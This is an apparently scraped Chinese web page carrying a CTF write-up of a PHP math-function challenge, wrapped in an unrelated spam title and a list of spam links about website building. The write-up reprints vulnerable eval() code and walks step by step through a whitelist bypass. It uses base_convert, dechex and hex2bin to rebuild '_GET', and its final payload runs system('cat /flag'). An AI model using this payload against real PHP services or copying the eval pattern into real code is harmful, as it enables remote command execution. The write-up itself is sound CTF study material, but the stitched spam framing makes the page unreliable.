当前位置: 首页 > news >正文

小米官方网站开发版中科宁波网站建设

小米官方网站开发版,中科宁波网站建设,怎样在中国建设银行网站开通短信提醒,广告制作网站源码文章目录 前言考点解题过程 前言 感慨自己实力不够#xff0c;心浮气躁根本做不来难题。难得这题对我还很有吸引力#xff0c;也涉及很多知识。只能说我是受益匪浅#xff0c;总的来说加油吧ctfer。 考点 利用php动态函数的特性利用php中的数学函数实现命令执行利用php7的特… 文章目录 前言考点解题过程 前言 感慨自己实力不够心浮气躁根本做不来难题。难得这题对我还很有吸引力也涉及很多知识。只能说我是受益匪浅总的来说加油吧ctfer。 考点 利用php动态函数的特性利用php中的数学函数实现命令执行利用php7的特性就是可以用变量执行函数 解题过程 打开题目源代码 ?php error_reporting(0); //听说你很喜欢数学不知道你是否爱它胜过爱flag if(!isset($_GET[c])){show_source(__FILE__); }else{//例子 c20-1$content $_GET[c];if (strlen($content) 80) {die(太长了不会算);}$blacklist [ , \t, \r, \n,\, , , \[, \]];foreach ($blacklist as $blackitem) {if (preg_match(/ . $blackitem . /m, $content)) {die(请不要输入奇奇怪怪的字符);}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist [abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh];preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die(请不要输入奇奇怪怪的函数);}}//帮你算出答案eval(echo .$content.;); } 简单分析一下只有一个GET传参参数是c然后对上传的值进行黑名单检测接着给了白名单以及常用的数学函数。这个提示很明显了需要我们用函数进行转换成我们的执行命令 我们访问该链接发现base_convert函数是突破口很明显我们要转换成字母 我们试试将phpinfo转换成十进制 然后在题目测试一下 发现成功访问 思路正确后我们现在就要想构造类似于system(ls /);这样的出来但是这里对我们c的值进行了超多过滤这里用的是构造出类似$_GET[1]这样。 关键点利用php动态函数的特性比如我们可以构造 ?c$a_GET;($$a)[1]1phpinfo();如此来看我们就可以绕过正则匹配的限制 现在的问题就是如何构造出_GET这里需要用到的两个函数是 dechex()函数 可以将十进制转换为十六进制 hex2bin()函数 可以将十六进制转换为ascii码 这里一开始做可能会有疑惑为什么要用到dechex()函数呢其实目的很明显因为c的值不能有字母而我们要想利用hex2bin()函数即十六进制有字母出现必须要进行转换 经过测试 hex2bin(5f474554) -- _GET往前推hex2bin可以用base_convert函数表示 base_convert(37907361743,10,36) -- hex2bin5f474554用dechex函数表示 dechex(1598506324); -- 5f474554整理一下 ?c$absbase_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}1phpinfo();注命名为$abs是因为abs在白名单里可以通过检测 然后再考虑到[]被过滤用{}替换即可 但是上传后并没有回显 原因很简单phpinfo只是被当成字符串并没有执行phpinfo(); 这里最后一个点就是我们传递的参数值为两个(即一个是函数名 一个是参数)该如何绕过呢 解决方法是用php7的特性就是可以用变量执行函数 简单测试下可以发现打印test出来 所以我们的payload为 ?c$absbase_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}(($$abs){2})1system2cat /flag得到flag
http://www.huolong8.cn/news/426744/

相关文章:

  • 浦城 建网站app订制开发公司
  • 商城网站建设市场分析论文如何恢复网站
  • 龙岗模板网站建设学院网站建设报告
  • c 做网站开发国内做的比较好的旅游网站
  • 做足球网站前景吉林网页制作
  • 新野微网站建设网站建设视频上传
  • 网站开发 技术支持服务协议网站备案增加域名解析
  • 最贵网站建设报价网络推广和seo
  • 源码商城网站源码网站401错误
  • 网站 排版模板网络营销咨询服务
  • 织梦cms 做视频网站建立良好的公共秩序教学设计
  • 网站开发代淘宝店铺装修架设网站的目的
  • 如何搭建一个公司网站小广告图片
  • 网站建设策划书色彩设计方案小学生摘抄新闻
  • 网站备案登记查询门户网站建设依据
  • asp.ne做网站设计师网址推荐
  • 潍坊建设网站公司简述网页的基本结构
  • 手机h5网站模板下载织梦网站转跳手机站
  • 有几家做网站的公司网站免费网站免费
  • 纸业建站服务wordpress会员注册管理系统
  • 朔州网站建设电话网站关键词优化培训
  • 印刷厂网站建设网站服务器ip地址怎么查
  • 公司网站制作高端iis6无法新建网站
  • 北龙中网 可信网站验证 费用高端网站建设行业
  • 长沙南站建站163网站源码
  • vs2015做网站如何添加控件wordpress 留言本插件
  • 在郑州网站推广做兼职网站的项目初衷
  • 安阳企业网站建设公司建筑工程网价是什么意思
  • 用scala做的网站医院网站系统源码
  • 保山市住房和城乡建设局门户网站wordpress拖曳式建站